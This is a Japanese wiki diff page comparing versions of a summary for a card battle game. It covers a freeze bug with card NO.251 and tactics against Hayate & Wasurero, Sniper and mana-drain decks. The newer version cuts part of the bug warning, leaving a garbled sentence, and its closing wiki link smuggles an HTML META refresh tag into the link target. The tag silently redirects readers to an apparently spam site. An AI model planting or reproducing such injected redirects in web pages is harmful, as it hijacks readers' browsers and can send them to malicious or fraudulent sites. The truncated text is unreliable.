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現状まとめ - (2007/04/11 (水) 16:43:22) の最新版との変更点

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※注意※ 「NO.251 7人の魔法使い」入手時にフリーズするバグあり。 カード250種の金バッジを3つ目に取得すると、 金バッジ取得→NO.251取得→金バッジ取得→NO.251取得→フリーズ となるので注意。 3つ目がWi-Fi対戦や3回クリアの金バッジではバグが発生しない様なので、入手自体は可能。 カード250種の金バッジを3つ目にしてしまった場合は、潔く諦めよう。 (4/9時点でメーカーからの公式発表なし) ・ハヤテ&忘れろ 忘れろ後のハヤテは全弾食らうので100程度HP削られ 次ターンにこっちが上手く対処できなければ再び 50以上削られる。 魔力が溜まっていれば、忘れろ×2やSLで200オーバー来る事も。 くろうみそ、ひらりマントあたりで対応だが、バカ弾来てると きつい。1ターンキルされなければ次ターンにSPやブロック魔物、 ペンシルミサイル、無敵砲台辺りで対処できる。 ・スナイパー アタッカーチームを次々と潰される。防御ターンのアイテム使用が 不可なので狙われたら、カウンターアイテムやひらりマントも無理。 2スロに入れる事が多い為、HPが少ない事が多いので独裁スイッチや 空気砲で対処。低コストなので、ばしょう扇だと再配置される。 ・魔力吸収(イーブル+青、引き裂くつめ) 魔力が溜まらず、相手の魔力はスキルを使っても溜まる状況になる為 非常にいやらしい。 こちらも吸い返すか、空気砲、独裁スイッチなどでとにかく早く除去する。 遅れるほど魔力差が大きくなり逆転が困難になる。 こんな感じかなぁ。それぞれ単体なら、それほど脅威じゃないけど 魔力吸収とのセットがきつい。
※注意※ 「NO.251 7人の魔法使い」入手時にフリーズするバグあり。 カード250種の金目にしてしまった場合は、潔く諦めよう。 (4/9時点でメーカーからの公式発表なし) ・ハヤテ&amp;忘れろ 忘れろ後のハヤテは全弾食らうので100程度HP削られ 次ターンにこっちが上手く対処できなければ再び 50以上削られる。 魔力が溜まっていれば、忘れろ×2やSLで200オーバー来る事も。 くろうみそ、ひらりマントあたりで対応だが、バカ弾来てると きつい。1ターンキルされなければ次ターンにSPやブロック魔物、 ペンシルミサイル、無敵砲台辺りで対処できる。 ・スナイパー アタッカーチームを次々と潰される。防御ターンのアイテム使用が 不可なので狙われたら、カウンターアイテムやひらりマントも無理。 2スロに入れる事が多い為、HPが少ない事が多いので独裁スイッチや 空気砲で対処。低コストなので、ばしょう扇だと再配置される。 ・魔力吸収(イーブル+青、引き裂くつめ) 魔力が溜まらず、相手の魔力はスキルを使っても溜まる状況になる為 非常にいやらしい。 こちらも吸い返すか、空気砲、独裁スイッチなどでとにかく早く除去する。 遅れるほど魔力差が大きくなり逆転が困難になる。 こんな感じかなぁ。それぞれ単体なら、それほど脅威じゃないけど 魔力吸収とのセットがきつい。 [[@wikiへ>http://kam.jp"><META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://esthe.pink.sh/r/]]

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